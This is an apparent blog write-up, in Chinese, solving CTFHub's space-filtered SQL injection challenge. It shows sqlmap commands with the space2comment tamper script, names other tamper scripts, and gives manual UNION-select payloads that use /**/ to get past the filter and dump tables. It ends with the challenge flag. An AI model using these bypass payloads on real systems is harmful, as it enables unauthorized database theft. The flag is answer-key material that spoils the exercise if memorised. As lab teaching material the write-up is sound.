CTFHub題解-技能樹-Web(web工具配置-SQL注入)
過濾空格
1.知識點
(1)sqlmap的使用
可以參考筆者的這篇博客 ~
Sqlmap 工具用法詳解
(2)繞過空格過濾的方法
/**/、()、%0a
2.題解
方法一:Sqlmap工具法
第一步 爆數據庫
命令:
python sqlmap.py -u "http://challenge-427e4b69b55064d9.sandbox.ctfhub.com:10080/?id=1" --dbs --tamper "space2comment.py"
補充:
腳本名:
space2comment.py
作用:
Replaces space character ' ' with comments /**/
也就是用注釋/**/替換空格字符' '
sqlmap 中的
tamper 腳本有很多,例如:
equaltolike.py (作用是用like代替等號)、
apostrophemask.py (作用是用utf8代替引號)、
greatest.py (作用是繞過過濾'>' ,用GREATEST替換大於號)等。
第二步 爆數據庫表
命令:
python sqlmap.py -u "http://challenge-427e4b69b55064d9.sandbox.ctfhub.com:10080/?id=1" -D "sqli" --tables --tamper "space2comment.py"
第三步 爆數據庫字段及內容
命令:
python sqlmap.py -u "http://challenge-427e4b69b55064d9.sandbox.ctfhub.com:10080/?id=1" -D "sqli" -T "dwthlcaucd" --dump --tamper "space2comment.py"
得到flag:
ctfhub{b852fd9c36317f9f97907bdc174b2f0c20ada2de}
方法二:手工注入
可以先分別輸入 1 , 2 , 3 ,看看會返回什么~
輸入1,返回了ctfhub;
輸入2,返回了skill;
輸入3,無數據返回。
我們試一下用單引號 ' ,發現沒有回顯
我們試一下
' or '1' ='1 發現回顯Hacker!!!
說明系統應該是檢索到了類似
or 、
and 等這種常用的關鍵字。
查閱資料,可知,繞過空格過濾的方式: /**/、()、%0a。
我們試一下用注釋的方法~
第一步查數據庫有哪些:
輸入命令:
-1/**/union/**/select/**/database(),2
補充:這里利用了聯合查詢。此處的-1 相當於 id=-1 union select database(),2
第二步查表:
輸入命令:
-1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
補充:information_schema這張數據表保存了MySQL服務器所有數據庫的信息。如數據庫名,數據庫的表等。Mysql的information_schema數據庫包含了一些表和視圖,提供了訪問數據庫元數據的方式。
第三步查字段:
輸入命令:
-1/**/union/**/select/**/group_concat(column_name),2/**/from/**/information_schema.columns/**/where/**/table_name='dwthlcaucd'
補充:
SCHEMATA表:提供了關於數據庫的信息。
TABLES表:給出了關於數據庫中的表的信息。
COLUMNS表:給出了表中的列信息。
第四步查字段內容:
輸入命令:
-1/**/union/**/select/**/ nadzurtjds,2/**/from/**/dwthlcaucd
得到flag:
ctfhub{b852fd9c36317f9f97907bdc174b2f0c20ada2de}

參考資料:
https://www.cnblogs.com/peterpan0707007/p/7501507.html
https://www.cnblogs.com/hfdp/p/5549384.html
https://blog.csdn.net/lxw826982262/article/details/97383167